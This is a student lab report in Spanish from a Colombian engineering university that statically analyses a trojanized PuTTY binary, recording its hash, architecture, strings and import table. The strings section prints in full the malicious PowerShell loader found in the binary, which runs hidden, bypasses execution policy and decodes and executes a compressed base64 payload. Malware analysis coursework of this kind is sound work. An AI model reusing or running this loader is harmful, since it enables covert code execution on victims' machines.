Escuela Colombiana de ingeniería Julio Garavito

Seguridad y privacidad de TI

Laboratorio 14

Integrantes

Juan Camargo

Diego Castellanos

Profesor

Daniel Esteban Vela Lopez

Bogotá 2024

What is the SHA256 hash of the sample?

```
PS C:\Users\husky\Desktop > Get-filehash -Algorithm SHA256 .\putty.exe

Algorithm       Hash
---------       ----
SHA256          0C82E654C09C8FD9FDF4899718EFA37670974C9EEC5A8FC18A167F93CEA6EE83
```

What architecture is this binary?

Haciendo uso de pestudio nos dimos cuenta de que la arquitectura es de 32 bits.

Are there any results from submitting the SHA256 hash to VirusTotal?

Depende del tiempo que lo estemos ejecutando, pero en nuestro caso no ha habido ningun resultado.

Describe the results of pulling the strings from this binary. Record and describeany strings that are potentially interesting. Can any interesting information beextracted from the strings?

```
powershell.exe -nop -w hidden -noni -ep bypass
"&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object
System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,
[System.Convert]::FromBase64String('H4sIAOW/
UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypL
jBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/
Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/
G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3E
vE6t8wjl
+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSro
Avw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz
+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/
hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/
Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp0
4XNCv+iWZqU2UU0y
+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72
pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt
+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/
wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/
eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp
+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/
PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/
+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8q
YXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/
ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/
WIGf9s5naT/1D6Nm+
+OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/
mtl93dQkAAA==')),
[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
```

Las cadenas normales asociadas con PuTTY están presentes en el binario, la inspección de algunas de las cadenas que son una URL no revela nada importante, ya que estas URL son estándares para el ejecutable normal de PuTTY.

Describe the results of inspecting the IAT for this binary.

como el binario no está empaquetado, el IAT es normal.

Are there any importsworth nothing?

No, el binario no está empaquetado porque si lo estuviese no tendríamos cadenas de detalles.